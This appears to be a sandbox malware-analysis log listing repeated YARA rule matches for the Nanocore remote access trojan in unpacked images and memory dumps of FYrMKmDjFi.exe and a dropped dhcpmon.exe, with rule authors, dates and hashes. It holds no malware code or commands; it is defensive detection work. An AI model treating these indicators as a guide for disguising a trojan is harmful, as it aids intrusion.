Source: 12.2.FYrMKmDjFi.exe.41e05c4.4.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 4.2.FYrMKmDjFi.exe.3f805c4.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 4.2.FYrMKmDjFi.exe.3f805c4.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 12.2.FYrMKmDjFi.exe.41e05c4.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.FYrMKmDjFi.exe.41e05c4.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 4.2.FYrMKmDjFi.exe.5860000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 4.2.FYrMKmDjFi.exe.5860000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 15.2.dhcpmon.exe.3cf05c4.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 15.2.dhcpmon.exe.3cf05c4.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 10.2.dhcpmon.exe.3f8df50.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 10.2.dhcpmon.exe.3f8df50.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 10.2.dhcpmon.exe.3f8df50.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 4.2.FYrMKmDjFi.exe.5864629.9.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 4.2.FYrMKmDjFi.exe.5864629.9.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 10.2.dhcpmon.exe.2f14ff4.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 10.2.dhcpmon.exe.2f14ff4.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 10.2.dhcpmon.exe.2f14ff4.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 9.2.FYrMKmDjFi.exe.26a479c.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 9.2.FYrMKmDjFi.exe.26a479c.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 9.2.FYrMKmDjFi.exe.26a479c.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 4.2.FYrMKmDjFi.exe.2f5cd28.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 4.2.FYrMKmDjFi.exe.2f5cd28.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 10.3.dhcpmon.exe.4112080.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 10.3.dhcpmon.exe.4112080.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 10.3.dhcpmon.exe.4112080.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 12.2.FYrMKmDjFi.exe.41db78e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.FYrMKmDjFi.exe.41db78e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 12.2.FYrMKmDjFi.exe.41db78e.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0.3.FYrMKmDjFi.exe.3f80f30.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0.3.FYrMKmDjFi.exe.3f80f30.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.3.FYrMKmDjFi.exe.3f80f30.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 9.2.FYrMKmDjFi.exe.26a479c.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 9.2.FYrMKmDjFi.exe.26a479c.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 9.2.FYrMKmDjFi.exe.26a479c.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 14.2.dhcpmon.exe.3f005c4.4.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 14.2.dhcpmon.exe.3f005c4.4.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 13.3.dhcpmon.exe.3b20108.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 13.3.dhcpmon.exe.3b20108.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 13.3.dhcpmon.exe.3b20108.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 14.2.dhcpmon.exe.2f19620.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 14.2.dhcpmon.exe.2f19620.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 13.3.dhcpmon.exe.3b22fb8.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 13.3.dhcpmon.exe.3b22fb8.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 12.2.FYrMKmDjFi.exe.31f9668.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.FYrMKmDjFi.exe.31f9668.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 14.2.dhcpmon.exe.3f005c4.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 14.2.dhcpmon.exe.3f005c4.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 14.2.dhcpmon.exe.3f04bed.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 14.2.dhcpmon.exe.3f04bed.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0000000D.00000002.358733206.000000000399C000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000D.00000002.358733206.000000000399C000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000F.00000002.376193439.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000F.00000002.376193439.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000009.00000002.339345544.000000000371D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000009.00000002.339345544.000000000371D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000004.00000002.559219526.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000004.00000002.559219526.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000000.00000002.308296002.0000000003C99000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000000.00000002.308296002.0000000003C99000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000000.00000002.308727184.0000000003DFC000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000000.00000002.308727184.0000000003DFC000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000D.00000003.353322483.0000000003AF8000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000D.00000003.353322483.0000000003AF8000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000000.00000002.307988871.0000000002CEE000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000000.00000002.307988871.0000000002CEE000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000E.00000002.357019019.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000E.00000002.357019019.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000A.00000002.341983830.0000000003E29000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000A.00000002.341983830.0000000003E29000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000F.00000002.377764410.0000000003CA9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000E.00000002.359270670.0000000003EB9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000A.00000002.342288070.0000000003F8D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000A.00000002.342288070.0000000003F8D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000A.00000002.341870208.0000000002EBA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000A.00000002.341870208.0000000002EBA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000009.00000003.332140109.000000000387A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000009.00000003.332140109.000000000387A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
